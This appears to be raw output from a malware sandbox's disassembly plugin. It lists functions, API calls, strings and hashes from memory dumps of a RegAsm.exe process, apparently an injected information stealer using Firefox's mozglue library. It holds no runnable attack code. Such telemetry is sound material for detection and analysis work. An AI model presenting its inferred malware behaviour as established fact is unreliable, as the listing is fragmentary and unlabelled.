Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f59f125010361e4ff231a87c804b3c247a2bb3d47250f8e5f7eb4a0892fe9434
Instruction ID: 68ee1647a5ce44462bd1e1620c407fb6ff8cde9fd69ac9de73a7599d3fe808d6
Opcode Fuzzy Hash: f59f125010361e4ff231a87c804b3c247a2bb3d47250f8e5f7eb4a0892fe9434
Instruction Fuzzy Hash: A7E092746313039BEF68AF71AD0E7157AFCB706208F14C22EBA0491641EFB0C0528A60

Function 6CA775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA7748B,?), ref: 6CA775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA775D7
FreeLibrary.KERNEL32(?,6CA7748B,?), ref: 6CA775EC

Strings

RtlNtStatusToDosError, xrefs: 6CA775D1
ntdll.dll, xrefs: 6CA775B3

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9a40633eafb110359c962d6d017769cc8efb45549c477aeb4cb3d4524e42d650
Instruction ID: 1491da913915486c2a3591faaf7d56150763a5b4f8a5e5fa04cba3439818dd6b
Opcode Fuzzy Hash: 9a40633eafb110359c962d6d017769cc8efb45549c477aeb4cb3d4524e42d650
Instruction Fuzzy Hash: D8E09275620303ABEF19AFA2EC4A7017AF8EB06258F14C529BD05E1640EFB080938F20

Function 6CA14DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA14E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA14E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA14F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA14F1E

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ce400a413642f3ffedba4170b21963f9df79b69de044320d123be00fbbbaf2a7
Instruction ID: 994cb752642de037c49473bfe0e1a843ecd19e1414adabde6ca8ad47ac7f88a2
Opcode Fuzzy Hash: ce400a413642f3ffedba4170b21963f9df79b69de044320d123be00fbbbaf2a7
Instruction Fuzzy Hash: FE41CE716087029FC705CF29C48099BB7F5BF89348F148A2DF46697B81DB30E998CB91

Function 004108A0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004108C8
strtok_s.MSVCRT ref: 00410A0D

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction ID: a4e7387e48c2c71d0e19e82ff460fffa0707391e6f0b4b4f43623f0e69075298
Opcode Fuzzy Hash: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction Fuzzy Hash: 62515AB5A04209DFCB08CF54D495AEE7BB5FF58308F10806AE802AB351D774EAD1CB95

Function 00409E60 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
memset.MSVCRT ref: 00409EAE
LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@, xrefs: 00409EB7
v10, xrefs: 00409E72

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6CA21530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA2159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA215BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA215E7
free.MOZGLUE(?,?,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA21606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA21637

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 1984e379119c6cdb59eec9191600e373f9f74b5e4762eae841cb61b48667f1ab
Instruction ID: 1e6cbc4dfc196c40e445092432007104ab13dc4f9fcba418daa49e12de82d8e8
Opcode Fuzzy Hash: 1984e379119c6cdb59eec9191600e373f9f74b5e4762eae841cb61b48667f1ab
Instruction Fuzzy Hash: DF31F872A001248BC7188E7CD9508BE73E5BB8136472C0B6DE523DBBD4EB35DD858791

Function 6CA7AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA8E330,?,6CA3C059), ref: 6CA7AD9D

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA8E330,?,6CA3C059), ref: 6CA7ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA8E330,?,6CA3C059), ref: 6CA7AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA8E330,?,6CA3C059), ref: 6CA7AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA8E330,?,6CA3C059), ref: 6CA7AE3D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 1ca02b1e7abf21923be26f23b47d1dfe294e56ac52a3a4011bf0493de738d44f
Instruction ID: 523cdccd0ae324d8c9286a0cc97d0e6c328fe575127e74216821894eb03c2828
Opcode Fuzzy Hash: 1ca02b1e7abf21923be26f23b47d1dfe294e56ac52a3a4011bf0493de738d44f
Instruction Fuzzy Hash: 0831A2B5A013159FDB14DF798D45AABB7F9EF48614F148429E84AD7700E734D844CBB0

Function 6CA1B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA1B532
moz_xmalloc.MOZGLUE(?), ref: 6CA1B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA1B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA1B57E
free.MOZGLUE(00000000), ref: 6CA1B58F

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9e6e0a029e1750db70c4014e3e6f5b400e92703d79cef119cf298192c249a2c0
Instruction ID: 01ff49bc3d62374c7d62d16d75ab27875bebc3e923611afaaef70c2bc4bf85de
Opcode Fuzzy Hash: 9e6e0a029e1750db70c4014e3e6f5b400e92703d79cef119cf298192c249a2c0
Instruction Fuzzy Hash: C5210AB16042069BDB008F69DC40BAEBBB9FF41318F284129E919DB741F775D955C7A0

Function 004163C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210DC,?,?,004165B1,00000000,?,014FAA38,?,004210DC,?,00000000,?), ref: 0041640C
sscanf.NTDLL ref: 00416439
SystemTimeToFileTime.KERNEL32(004210DC,00000000,?,?,?,?,?,?,?,?,?,?,?,014FAA38,?,004210DC), ref: 00416452
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,014FAA38,?,004210DC), ref: 00416460
ExitProcess.KERNEL32 ref: 0041647A

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction ID: 830abe8b8eab449a7d9cc0da15019f7c77d9f2c5bac1468e5daa421451f66edb
Opcode Fuzzy Hash: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction Fuzzy Hash: EA21E1B5D14208AFCF14EFE4D945ADEB7BABF48304F04852EE50AE3250EB349605CB69

Function 00418D00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01502FC0,?,?,?,00410F1C,?,01502FC0,00000000), ref: 00418D0C
lstrcpyn.KERNEL32(0062D378,01502FC0,01502FC0,?,00410F1C,?,01502FC0), ref: 00418D30
lstrlenA.KERNEL32(?,?,00410F1C,?,01502FC0), ref: 00418D47
wsprintfA.USER32 ref: 00418D67

Strings

%s%s, xrefs: 00418D55

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction ID: 934000c32db0b3497a9cf3f86b5bcb86f2a34007e8430f093dfbe5a2fe39e620
Opcode Fuzzy Hash: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction Fuzzy Hash: 4D0121B5500A08FFDB14DFA8D944EAE7B7AEF49354F108148F9099B340C731AA41CB95

Function 6CA50D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA13DEF), ref: 6CA50D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA13DEF), ref: 6CA50D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA13DEF), ref: 6CA50DAF

Strings

<jemalloc>, xrefs: 6CA50D92, 6CA50DB9
: (malloc) Error in VirtualFree(), xrefs: 6CA50D97, 6CA50DBE

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: e077ee70fd7664a3cd33e1616ce519cd1caae6c64f44916d06bb3e9fdbab7216
Instruction ID: 5f0f329058db6788549b125f3d887177439a2b2751874f46fc9d6a6456097f5e
Opcode Fuzzy Hash: e077ee70fd7664a3cd33e1616ce519cd1caae6c64f44916d06bb3e9fdbab7216
Instruction Fuzzy Hash: C1F0E9733A039523E634256A1C0BF6B269D6BC2B68F74C135F615DA9C0DE70E4D186A4

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: da157f3430a2bf975af02803655c68f1a585ca0f4a593862dc9274f96ca4ab26
Instruction ID: 9fc434d286289e419f3aa4a208740ff26eea7a26fa5dacee767cec1b97643960
Opcode Fuzzy Hash: da157f3430a2bf975af02803655c68f1a585ca0f4a593862dc9274f96ca4ab26
Instruction Fuzzy Hash: 4AF06271AD5310ABD720BBA95C427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6CA3D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

EnterCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D4F2
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D50B

Part of subcall function 6CA1CFE0: EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA1CFF6
Part of subcall function 6CA1CFE0: LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D52E
EnterCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D690
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D751

Strings

MOZ_CRASH(), xrefs: 6CA3D4BB

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba853d467d7966ba1bee2479fbfc8c9dfcd79bc3b680c7f4453359ae6f3d63d0
Instruction ID: 1d8a2f540be70e881e9705833ed57e007f6dfe529cac18e838c9df670ba97d49
Opcode Fuzzy Hash: ba853d467d7966ba1bee2479fbfc8c9dfcd79bc3b680c7f4453359ae6f3d63d0
Instruction Fuzzy Hash: 5B510771A247118FD358CF29C4A525AB7F1FB89304F248A2ED5ADC7B85DB30E885CB91

Function 6CA646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA64721

Part of subcall function 6CA14410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA53EBD,00000017,?,00000000,?,6CA53EBD,?,?,6CA142D2), ref: 6CA14444

Strings

-%llu, xrefs: 6CA64733
., xrefs: 6CA6476A
profiler-paused, xrefs: 6CA646E4

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: e11e1ae484aa82867cb3af9d103d29d502fb20bedd8f9d20f3679464cb7088bd
Instruction ID: a7ebfd1d0de1ae80483ac54b66d5cae84ee82bf45512180eb4866e80fdc67eae
Opcode Fuzzy Hash: e11e1ae484aa82867cb3af9d103d29d502fb20bedd8f9d20f3679464cb7088bd
Instruction Fuzzy Hash: B5312B71F042185FCB0CCF6ED89569DBBE6DB89314F19853EE8059BF41EB7498848B90

Function 6CA6B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA53EBD,6CA53EBD,00000000), ref: 6CA142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA6B127), ref: 6CA6B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA6B4E4

Strings

pid:, xrefs: 6CA6B4DE

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
